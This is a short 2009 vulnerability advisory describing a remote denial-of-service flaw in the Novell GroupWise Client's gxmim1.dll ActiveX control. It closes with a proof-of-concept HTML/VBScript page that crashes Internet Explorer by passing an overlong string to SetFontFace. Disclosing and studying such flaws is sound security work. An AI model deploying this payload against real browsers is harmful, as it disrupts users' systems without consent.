Novell Groupwise Client version 7.0.3.129 suffers from a denial of service vulnerability.
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Application: Novell Groupwise Client 7.0.3.1294
Platforms: Windows XP Professional French SP2 and SP3
crash: IE 6.0.2900.2180
Exploitation: remote DoS
Date: 2009-08-24
Author: Francis Provencher (Protek Research Lab's)
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1) Introduction
2) Technical details and bug
3) The Code
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1) Introduction
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GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.
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2) Technical details
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Name: gxmim1.dll
Ver.: 7.0.3.1294
CLSID: {9796BED2-C1CF-11D2-9384-0008C7396667}
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3) The Code
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Proof of concept DoS code;
<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>
<script language='vbscript'>
argCount = 1
arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
GWComposeCtl.SetFontFace arg1
</script>
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